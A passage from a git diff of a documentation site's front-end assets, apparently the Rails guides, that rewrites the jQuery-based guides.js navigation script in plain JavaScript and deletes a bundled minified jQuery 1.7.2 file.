n.forEach(function(t){o=o&&!!document.queryCommandSupported(t)}),o}}]),v);function v(t,e){!function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,v);var n=function(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}(this,(v.__proto__||Object.getPrototypeOf(v)).call(this));return n.resolveOptions(e),n.listenClick(t),n}function b(t,e){var n="data-clipboard-"+t;if(e.hasAttribute(n))return e.getAttribute(n)}e.default=m}],r.c=o,r.d=function(t,e,n){r.o(t,e)||Object.defineProperty(t,e,{enumerable:!0,get:n})},r.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(r.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)r.d(n,o,function(t){return e[t]}.bind(null,o));return n},r.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return r.d(e,"a",e),e},r.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},r.p="",r(r.s=6).default;function r(t){if(o[t])return o[t].exports;var e=o[t]={i:t,l:!1,exports:{}};return n[t].call(e.exports,e,e.exports,r),e.l=!0,e.exports}var n,o});
diff --git a/guides/assets/javascripts/guides.js b/guides/assets/javascripts/guides.js
index e4d25dfb2152c..182ed58c7cbf6 100644
--- a/guides/assets/javascripts/guides.js
+++ b/guides/assets/javascripts/guides.js
@@ -1,53 +1,507 @@
-$.fn.selectGuide = function(guide) {
-  $("select", this).val(guide);
-};
+(function () {
+  "use strict";
 
-var guidesIndex = {
-  bind: function() {
-    var currentGuidePath = window.location.pathname;
-    var currentGuide = currentGuidePath.substring(currentGuidePath.lastIndexOf("/")+1);
-    $(".guides-index-small").
-      on("change", "select", guidesIndex.navigate).
-      selectGuide(currentGuide);
-    $(document).on("click", ".more-info-button", function(e){
+  this.wrap = function (elem, wrapper) {
+    elem.parentNode.insertBefore(wrapper, elem);
+    wrapper.appendChild(elem);
+  };
+
+  this.unwrap = function (elem) {
+    var wrapper = elem.parentNode;
+    wrapper.parentNode.replaceChild(elem, wrapper);
+  };
+
+  this.createElement = function (tagName, className) {
+    var elem = document.createElement(tagName);
+    elem.classList.add(className);
+    return elem;
+  };
+
+  // For old browsers
+  this.each = function (node, callback) {
+    var array = Array.prototype.slice.call(node);
+    for (var i = 0; i < array.length; i++) callback(array[i]);
+  };
+
+  // Allows you to turn-off or block Turbo e.g. for testing
+  var event = 'Turbo' in globalThis ? 'turbo:load' : 'DOMContentLoaded'
+
+  // Allows older browsers to skip a frame, as this schedules work right after
+  // the current task is done, or for newer browsers, when an animation frame
+  // occurs.
+  var frameSkipper = 'requestAnimationFrame' in window ? window.requestAnimationFrame : setTimeout;
+  var cancelFrameSkipper = 'requestAnimationFrame' in window ? window.cancelAnimationFrame : clearTimeout;
+
+  var disableChapterScroll = false
+  var scrollBehavior = 'auto'
+
+  document.addEventListener(event, function () {
+    // This smooth scrolling behavior does not work in tandem with the
+    // scrollIntoView function for some browser-os combinations. Therefore, if
+    // JavaScript is enabled, and scrollIntoView may be called, this style is
+    // forced to not use smooth scrolling and the behavior is added to the
+    // back-to-top element etc, unless reduced motion is preferred.
+    document.body.parentElement.style.scrollBehavior = 'auto';
+
+    if ('matchMedia' in window) {
+      var mediaQueryList = window.matchMedia('(prefers-reduced-motion: reduce)');
+      scrollBehavior = mediaQueryList.matches ? 'auto' : 'smooth';
+
+      mediaQueryList.addEventListener('change', function (ev) {
+        scrollBehavior = ev.matches ? 'auto' : 'smooth';
+      });
+    }
+
+    // Detecting the mobile state should be done using CSS because that's what
+    // lays out the page, but this can fallback to JavaScript if that is not
+    // available
+    var MOBILE_WIDTH_FROM_STYLE_CSS_BREAKPOINT = 1024
+    var isMobile = window.innerWidth <= MOBILE_WIDTH_FROM_STYLE_CSS_BREAKPOINT;
+
+    if ('matchMedia' in window) {
+      var mediaQueryList = window.matchMedia(`(max-width: ${MOBILE_WIDTH_FROM_STYLE_CSS_BREAKPOINT}px)`);
+      isMobile = mediaQueryList.matches; 
+
+      mediaQueryList.addEventListener('change', function (ev) {
+        isMobile = ev.matches;
+      });
+    } else {
+      window.addEventListener('resize', function onResize() {
+        isMobile = window.innerWidth <= MOBILE_WIDTH_FROM_STYLE_CSS_BREAKPOINT
+      })
+    }
+
+    // The guides menu anchor is overridden to expand an element with the entire
+    // index on the same page. It is important that both the visibility is
+    // changed and that the aria-expanded attribute is toggled.
+    //
+    // Additionally, keyboard users should be able to close these guides by
+    // pressing escape, which is the standard key to collapse expanded elements.
+    var guidesMenuButton = document.getElementById("guides-menu-button");
+
+    var guides = document.getElementById(
+      guidesMenuButton.getAttribute("aria-controls")
+    );
+
+    var toggleGuidesMenu = function () {
+      var nextExpanded = guidesMenuButton.getAttribute("aria-expanded") === "false";
+
+      guides.classList.toggle("visible");
+      guidesMenuButton.setAttribute(
+        "aria-expanded",
+        nextExpanded ? "true" : "false"
+      );
+
+      var focusElement = nextExpanded
+        ? guides.querySelector("a")
+        : guidesMenuButton;
+      focusElement.focus();
+    };
+
+    guidesMenuButton.addEventListener("click", function (e) {
+      e.preventDefault();
       e.stopPropagation();
-      if ($(".more-info-links").is(":visible")) {
-        $(".more-info-links").addClass("s-hidden").unwrap();
+
+      toggleGuidesMenu();
+    });
+
+    each(document.querySelectorAll("#guides a"), function (element) {
+      element.addEventListener("click", function () {
+        toggleGuidesMenu();
+      });
+    });
+
+    document.addEventListener("click", function (e) {
+      if (guidesMenuButton.getAttribute("aria-expanded") === "false") {
+        return;
+      }
+
+
+      if (e.target instanceof Element) {
+        if (
+          !e.target.closest(
+            "#" + guidesMenuButton.getAttribute("aria-controls")
+          )
+        ) {
+          toggleGuidesMenu();
+        }
+      }
+    });
+
+    document.addEventListener("keydown", function (e) {
+      if (
+        e.key === "Escape" &&
+        guidesMenuButton.getAttribute("aria-expanded") === "true"
+      ) {
+        toggleGuidesMenu();
+      }
+    });
+
+    // If the browser supports the animation timeline CSS feature, JavaScript is
+    // not required for the element to be made visible at a certain scroll
+    // position.
+    var backToTop = document.querySelector('.back-to-top');
+    var backToTopTarget = document.getElementById(
+      'URL' in window ?
+        new URL(backToTop.href).hash.substring(1) :
+        backToTop.href.split('#')
+    );
+
+    if (
+      typeof window.CSS === "undefined" ||
+      typeof window.CSS.supports === "undefined" ||
+      !CSS.supports("(animation-timeline: scroll())")
+    ) {
+
+      var toggleBackToTop = function () {
+        if (window.scrollY > 300) {
+          backToTop.classList.add("show");
+        } else {
+          backToTop.classList.remove("show");
+        }
+      };
+
+      document.addEventListener("scroll", toggleBackToTop);
+    }
+
+    // Make it smooth scroll when clicking back-to-top.
+    backToTop.addEventListener('click', function (event) {
+      event.preventDefault();
+
+      // We could use backToTopTarget.focus({ preventScroll: true }), but there
+      // is a bug on Android that prevents this from working. Instead we can
+      // disable the scroll conditionally, based on if animation is required.
+      //
+      // https://issues.chromium.org/issues/41453122
+      //
+      // This entire section can be simplified to the following once that bug is
+      // fixed:
+      //
+      //   if (scrollBehavior === 'auto') {
+      //     backToTopTarget.focus();
+      //   } else {
+      //     backToTopTarget.focus({ preventScroll: true });
+      //     backToTopTarget.scrollIntoView({ behavior: 'smooth' });
+      //   }
+
+      if (scrollBehavior === 'auto') {
+        backToTopTarget.focus();
       } else {
-        $(".more-info-links").wrap("<div class='more-info-container'></div>").removeClass("s-hidden");
+        var x = window.scrollX;
+        var y = window.scrollY;
+
+        backToTopTarget.focus({ preventScroll: true });
+
+        // This is purely here for those Android users
+        if (window.scrollX !== x || window.scrollY !== y) {
+          window.scrollTo(x, y);
+        }
+
+        // Prevent the sidebar scrolling from affecting this scroll into view
+        // animation on some browser combinations
+        if (window.onscrollend !== undefined) {
+          disableChapterScroll = true;
+
+          window.addEventListener('scrollend', function () {
+            disableChapterScroll = false;
+          }, { once: true });
+        }
+
+        backToTopTarget.scrollIntoView({
+          behavior: 'smooth',
+          block: 'start',
+          inline: 'start'
+        });
       }
+    })
+
+    // Automatically browse when the version selector is changed. It is
+    // important that this behavior is communicated to the user, for example
+    // via an accessible label.
+    var guidesVersion = document.querySelector("select.guides-version");
+    guidesVersion.addEventListener("change", function (e) {
+      Turbo.visit(e.target.value);
     });
-    $("#guidesMenu").on("click", function(e) {
-      $("#guides").toggle();
-      return false;
+
+    var guidesIndexItem = document.querySelector("select.guides-index-item");
+    var currentGuidePath = window.location.pathname;
+    guidesIndexItem.value =
+      currentGuidePath.substring(currentGuidePath.lastIndexOf("/") + 1) ||
+      "index.html";
+    guidesIndexItem.addEventListener("change", function (e) {
+      Turbo.visit(e.target.value);
     });
-    $(document).on("click", function(e){
+
+    // The move info button expands an element with several links. It is
+    // important that both the visibility is changed and that the aria-expanded
+    // attribute is toggled.
+    //
+    // Additionally, keyboard users should be able to close this menu by
+    // pressing escape, which is the standard key to collapse expanded elements.
+    var moreInfoButton = document.getElementById("more-info");
+    var moreInfoLinks = document.getElementById(
+      moreInfoButton.getAttribute("aria-controls")
+    );
+
+    var toggleMoreInfoContent = function () {
+      var nextExpanded =
+        moreInfoButton.getAttribute("aria-expanded") === "false";
+
+      moreInfoLinks.classList.toggle("hidden");
+      moreInfoButton.setAttribute(
+        "aria-expanded",
+        nextExpanded ? "true" : "false"
+      );
+
+      var focusElement = nextExpanded
+        ? moreInfoLinks.querySelector("a")
+        : moreInfoButton;
+      focusElement.focus();
+    };
+
+    moreInfoButton.addEventListener("click", function (e) {
+      e.preventDefault();
       e.stopPropagation();
-      var $button = $(".more-info-button");
-      var element;
 
-      // Cross browser find the element that had the event
-      if (e.target) element = e.target;
-      else if (e.srcElement) element = e.srcElement;
+      toggleMoreInfoContent();
+    });
 
-      // Defeat the older Safari bug:
-      // http://www.quirksmode.org/js/events_properties.html
-      if (element.nodeType === 3) element = element.parentNode;
+    document.addEventListener("keydown", function (e) {
+      if (
+        e.key === "Escape" &&
+        moreInfoButton.getAttribute("aria-expanded") === "true"
+      ) {
+        toggleMoreInfoContent();
+      }
+    });
 
-      var $element = $(element);
+    document.addEventListener("click", function (e) {
+      if (moreInfoButton.getAttribute("aria-expanded") === "false") {
+        return;
+      }
 
-      var $container = $element.parents(".more-info-container");
+      if (e.target instanceof Element) {
+        if (!e.target.closest(".more-info-container")) {
+          toggleMoreInfoContent();
+        }
+      }
+    });
+
+    //
+    var clipboard = new ClipboardJS(".clipboard-button");
+    clipboard.on("success", function (e) {
+      var trigger = e.trigger;
+      var triggerLabel = trigger.innerHTML;
+      trigger.innerHTML = "Copied!";
+      setTimeout(function () {
+        trigger.innerHTML = triggerLabel;
+      }, 3000);
+      e.clearSelection();
+    });
 
-      // We've captured a click outside the popup
-      if($container.length === 0){
-        $container = $button.next(".more-info-container");
-        $container.find(".more-info-links").addClass("s-hidden").unwrap();
+    // ============ highlight chapter navigation ============
+    var columnMain = document.getElementById("column-main");
+    var columnSide = document.getElementById("column-side");
+    var columnMainElements = Array.from(columnMain.querySelectorAll('h2, h3, p, div, ol, ul'))
+
+    /**
+     * Find the matching navigation link (in the side bar) for the given content
+     * in the main column.
+     *
+     * @param elem {null | undefined | HTMLElement}
+     * @returns {HTMLAnchorElement | undefined} */
+    var matchingNavLink = function (elem) {
+      if(!elem) {
+        elem = columnMainElements[0];
       }
+
+      for (var index = columnMainElements.indexOf(elem); index >= 0; index--) {
+        var link = columnMainElements[index].querySelector("a.anchorlink[href]:not([href=''])");
+
+        if (link) {
+          return columnSide.querySelector('a[href="' + link.getAttribute("href") + '"]');
+        }
+      }
+    }
+
+    /**
+     * Removes the currently highlighted element from aria-current which also
+     * updates the styling to no longer highlight it.
+     */
+    var removeHighlight = function () {
+      columnSide
+        .querySelectorAll('[aria-current="true"]')
+        .forEach((highlighted) => {
+          highlighted.removeAttribute('aria-current');
+        })
+    }
+
+    /**
+     * Sets aria-current on the given element which also updates the styling to
+     * highlight it.
+     *
+     * @param {HTMLElement | null | undefined} elem
+     * @returns
+     */
+    var scrollThrottleTimeout = null
+    var updateHighlight = function (elem, force = false) {
+      if (!elem || (!force && elem.hasAttribute('aria-current'))) {
+        return
+      };
+
+      removeHighlight();
+      elem.setAttribute('aria-current', 'true');
+
+      if (disableChapterScroll) {
+        return;
+      }
+
+      // Must match breakpoints.desktop in style.scss
+      if (isMobile) {
+        return
+      }
+
+      // On some OS-browser combinations, this will stop smooth scrolling of the
+      // main document if scroll-behaviour: smooth or vice-versa (this element
+      // stopping when clicking a link). This is also the case with setting
+      // scrollTop & scrollIntoView.
+      //
+      // eg. elem.scrollIntoView(...)
+      //     columnSide.querySelector('ol').scrollTop = ...
+      //
+      // Therefore, smooth-scrolling is disabled on html and we manually smooth
+      // scroll instead.
+      //
+
+      if (scrollThrottleTimeout) {
+        cancelFrameSkipper(scrollThrottleTimeout)
+      }
+
+      scrollThrottleTimeout = frameSkipper(function nextFrame() {
+        elem.scrollIntoView({
+          behavior: scrollBehavior,
+          block: 'center',
+          inline: 'center'
+        });
+      });
+    }
+
+    var prevElem = function (elem) {
+      var index = columnMainElements.indexOf(elem);
+      return columnMainElements[index - 1] || null;
+    }
+
+    var nextElem = function (elem) {
+      var index = columnMainElements.indexOf(elem);
+      return columnMainElements[index + 1] || null;
+    }
+
+    var didThisIntersectionHappenAtTop = (entry) => {
+      if (!entry.rootBounds) {
+        return false
+      }
+
+      return entry.rootBounds.bottom - entry.boundingClientRect.bottom > entry.rootBounds.bottom / 2;
+    }
+
+    var direction = 'up'
+    var prevYPosition = 0
+
+    /**
+     * The callback for the intersection observer which finds the relevant
+     * content section and matching navigation link.
+     *
+     * @type {IntersectionObserverCallback}
+     **/
+    var onIntersect = (entries) => {
+      if (document.scrollingElement.scrollTop > prevYPosition) {
+        direction = 'down';
+      } else {
+        direction = 'up';
+      }
+
+      prevYPosition = document.scrollingElement.scrollTop;
+
+      var intersecting = []
+
+      entries.forEach((entry) => {
+        var intersectionAtTop = didThisIntersectionHappenAtTop(entry);
+
+        if (intersectionAtTop && entry.isIntersecting) {
+          // The interaction observer creates at most 3 events per element. One
+          // at 0, one around 0.5 and one around 1 ratio of intersecting.
+          //
+          // When scrolling half-past the element, look at the next one instead.
+          // This is necessary for different handling of scroll-padding, and
+          // the offset at which an anchor will be focused & scrolled to after
+          // navigating to it.
+          var target = direction === 'down' && entry.intersectionRatio < 0.6 ? nextElem(entry.target) : entry.target;
+          intersecting.push(target);
+        }
+      })
+
+      // Multiple elements may be intersecting at any moment, but in that case
+      // depending on the direction the lowest or highest on the page is leading
+      // and should be used to find the matching link. This is important for
+      // scrolling via the chapter anchor list.
+      if (intersecting.length > 0) {
+        var target = intersecting[direction === 'down' ? intersecting.length - 1 : 0];
+        var link = matchingNavLink(target);
+        updateHighlight(link);
+      }
+    }
+
+    var observer = new IntersectionObserver(onIntersect, {
+      // The different thresholds are required to be able to scroll up and
+      // instantly trigger the callback after smooth-scrolling from low on the
+      // page to higher up.
+      threshold: [0, 0.5, 1],
+
+      // The root margin is offsetted by half the scroll-padding-top
+      rootMargin: "-10px 0px 0px 0px"
     });
-  },
-  navigate: function(e){
-    var $list = $(e.target);
-    var url = $list.val();
-    window.location = url;
-  }
-};
+
+    columnMainElements.forEach(function (elem) {
+      observer.observe(elem);
+    })
+
+    if (window.onscrollend !== undefined) {
+      window.addEventListener('scrollend', function () {
+        // Skip a frame to ensure the browser is truly done scrolling.
+        frameSkipper(function nextFrame() {
+          if (disableChapterScroll) {
+            return
+          }
+
+          // Ensure the link is highlighted and visible where the scrolling
+          // ended, which can be mid page if user scrolls whilst animation
+          // is playing.
+          //
+          // This is necessary because if the scroll started all the way at
+          // the bottom, the chapters element may also be scroll to the
+          // bottom. It will not update scrolling (otherwise the current
+          // scroll animation will be cancelled), and thus it needs to
+          // re-apply the logic when done to scroll the chapters list to
+          // the correct position.
+          var activeLink = columnSide.querySelector('a[aria-current]');
+          if (activeLink) {
+            updateHighlight(activeLink, true);
+          }
+        });
+      });
+    }
+
+    // ------------ end of highlight chapter navigation ------------
+  });
+
+  // Observe the HTML tag for Google Translate CSS class, to swap our lang direction LTR/RTL.
+  var observer = new MutationObserver(function(mutations, _observer) {
+    each(mutations, function(mutation) {
+      if (mutation.type === "attributes" && mutation.attributeName == "class") {
+        mutation.target.dir = mutation.target.classList.contains("translated-rtl") ? "rtl" : "ltr";
+      }
+    })
+  });
+  observer.observe(document.querySelector("html"), { attributeFilter: ["class"] });
+
+}).call(this);
diff --git a/guides/assets/javascripts/jquery.min.js b/guides/assets/javascripts/jquery.min.js
deleted file mode 100644
index 93adea19fd7aa..0000000000000
--- a/guides/assets/javascripts/jquery.min.js
+++ /dev/null
@@ -1,4 +0,0 @@
-/*! jQuery v1.7.2 jquery.com | jquery.org/license */
-(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g<i;g++){if(g===1)for(h in a.converters)typeof h=="string"&&(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k==="*")k=l;else if(l!=="*"&&l!==k){m=l+" "+k,n=e[m]||e["* "+k];if(!n){p=b;for(o in e){j=o.split(" ");if(j[0]===l||j[0]==="*"){p=e[j[1]+" "+k];if(p){o=e[o],o===!0?n=p:p===!0&&(n=o);break}}}}!n&&!p&&f.error("No conversion from "+m.replace(" "," to ")),n!==!0&&(c=n?n(c):p(o(c)))}}return c}function ca(a,c,d){var e=a.contents,f=a.dataTypes,g=a.responseFields,h,i,j,k;for(i in g)i in d&&(c[g[i]]=d[i]);while(f[0]==="*")f.shift(),h===b&&(h=a.mimeType||c.getResponseHeader("content-type"));if(h)for(i in e)if(e[i]&&e[i].test(h)){f.unshift(i);break}if(f[0]in d)j=f[0];else{for(i in d){if(!f[0]||a.converters[i+" "+f[0]]){j=i;break}k||(k=i)}j=j||k}if(j){j!==f[0]&&f.unshift(j);return d[j]}}function b_(a,b,c,d){if(f.isArray(b))f.each(b,function(b,e){c||bD.test(a)?d(a,e):b_(a+"["+(typeof e=="object"?b:"")+"]",e,c,d)});else if(!c&&f.type(b)==="object")for(var e in b)b_(a+"["+e+"]",b[e],c,d);else d(a,b)}function b$(a,c){var d,e,g=f.ajaxSettings.flatOptions||{};for(d in c)c[d]!==b&&((g[d]?a:e||(e={}))[d]=c[d]);e&&f.extend(!0,a,e)}function bZ(a,c,d,e,f,g){f=f||c.dataTypes[0],g=g||{},g[f]=!0;var h=a[f],i=0,j=h?h.length:0,k=a===bS,l;for(;i<j&&(k||!l);i++)l=h[i](c,d,e),typeof l=="string"&&(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=bZ(a,c,d,e,l,g)));(k||!l)&&!g["*"]&&(l=bZ(a,c,d,e,"*",g));return l}function bY(a){return function(b,c){typeof b!="string"&&(c=b,b="*");if(f.isFunction(c)){var d=b.toLowerCase().split(bO),e=0,g=d.length,h,i,j;for(;e<g;e++)h=d[e],j=/^\+/.test(h),j&&(h=h.substr(1)||"*"),i=a[h]=a[h]||[],i[j?"unshift":"push"](c)}}}function bB(a,b,c){var d=b==="width"?a.offsetWidth:a.offsetHeight,e=b==="width"?1:0,g=4;if(d>0){if(c!=="border")for(;e<g;e+=2)c||(d-=parseFloat(f.css(a,"padding"+bx[e]))||0),c==="margin"?d+=parseFloat(f.css(a,c+bx[e]))||0:d-=parseFloat(f.css(a,"border"+bx[e]+"Width"))||0;return d+"px"}d=by(a,b);if(d<0||d==null)d=a.style[b];if(bt.test(d))return d;d=parseFloat(d)||0;if(c)for(;e<g;e+=2)d+=parseFloat(f.css(a,"padding"+bx[e]))||0,c!=="padding"&&(d+=parseFloat(f.css(a,"border"+bx[e]+"Width"))||0),c==="margin"&&(d+=parseFloat(f.css(a,c+bx[e]))||0);return d+"px"}function bo(a){var b=c.createElement("div");bh.appendChild(b),b.innerHTML=a.outerHTML;return b.firstChild}function bn(a){var b=(a.nodeName||"").toLowerCase();b==="input"?bm(a):b!=="script"&&typeof a.getElementsByTagName!="undefined"&&f.grep(a.getElementsByTagName("input"),bm)}function bm(a){if(a.type==="checkbox"||a.type==="radio")a.defaultChecked=a.checked}function bl(a){return typeof a.getElementsByTagName!="undefined"?a.getElementsByTagName("*"):typeof a.querySelectorAll!="undefined"?a.querySelectorAll("*"):[]}function bk(a,b){var c;b.nodeType===1&&(b.clearAttributes&&b.clearAttributes(),b.mergeAttributes&&b.mergeAttributes(a),c=b.nodeName.toLowerCase(),c==="object"?b.outerHTML=a.outerHTML:c!=="input"||a.type!=="checkbox"&&a.type!=="radio"?c==="option"?b.selected=a.defaultSelected:c==="input"||c==="textarea"?b.defaultValue=a.defaultValue:c==="script"&&b.text!==a.text&&(b.text=a.text):(a.checked&&(b.defaultChecked=b.checked=a.checked),b.value!==a.value&&(b.value=a.value)),b.removeAttribute(f.expando),b.removeAttribute("_submit_attached"),b.removeAttribute("_change_attached"))}function bj(a,b){if(b.nodeType===1&&!!f.hasData(a)){var c,d,e,g=f._data(a),h=f._data(b,g),i=g.events;if(i){delete h.handle,h.events={};for(c in i)for(d=0,e=i[c].length;d<e;d++)f.event.add(b,c,i[c][d])}h.data&&(h.data=f.extend({},h.data))}}function bi(a,b){return f.nodeName(a,"table")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function U(a){var b=V.split("|"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}function T(a,b,c){b=b||0;if(f.isFunction(b))return f.grep(a,function(a,d){var e=!!b.call(a,d,a);return e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b=="string"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inArray(a,b)>=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?+d:j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c<d;c++)b[a[c]]=!0;return b}var c=a.document,d=a.navigator,e=a.location,f=function(){function J(){if(!e.isReady){try{c.documentElement.doScroll("left")}catch(a){setTimeout(J,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.2",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j<k;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l&&f&&(e.isPlainObject(f)||(g=e.isArray(f)))?(g?(g=!1,h=d&&e.isArray(d)?d:[]):h=d&&e.isPlainObject(d)?d:{},i[c]=e.extend(l,h,f)):f!==b&&(i[c]=f)}return i},e.extend({noConflict:function(b){a.$===e&&(a.$=g),b&&a.jQuery===e&&(a.jQuery=f);return e},isReady:!1,readyWait:1,holdReady:function(a){a?e.readyWait++:e.ready(!0)},ready:function(a){if(a===!0&&!--e.readyWait||a!==!0&&!e.isReady){if(!c.body)return setTimeout(e.ready,1);e.isReady=!0;if(a!==!0&&--e.readyWait>0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a!=null&&a==a.window},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){if(typeof c!="string"||!c)return null;var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return 